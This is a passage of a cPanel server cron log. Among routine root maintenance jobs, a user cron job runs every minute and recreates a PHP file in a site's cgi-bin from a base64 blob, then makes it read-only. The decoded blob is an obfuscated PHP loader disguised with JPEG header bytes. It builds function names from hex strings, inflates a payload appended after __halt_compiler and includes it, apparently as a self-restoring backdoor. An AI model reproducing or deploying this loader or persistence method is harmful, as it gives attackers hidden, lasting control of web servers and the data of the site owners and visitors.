SEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:42:01 server CROND[29040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:42:01 server CROND[29041]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 00:43:01 server CROND[29095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:44:01 server CROND[29143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:45:01 server CROND[29203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:45:01 server CROND[29204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:45:01 server CROND[29205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:46:01 server CROND[29399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:47:01 server CROND[29456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:48:01 server CROND[29529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:49:01 server CROND[29610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:50:01 server CROND[29671]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:50:01 server CROND[29673]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 00:50:01 server CROND[29677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:50:01 server CROND[29678]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 00:50:01 server CROND[29674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:51:01 server CROND[29877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:52:01 server CROND[29946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:53:01 server CROND[30003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:54:01 server CROND[30053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:55:01 server CROND[30108]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:55:01 server CROND[30109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:55:01 server CROND[30115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 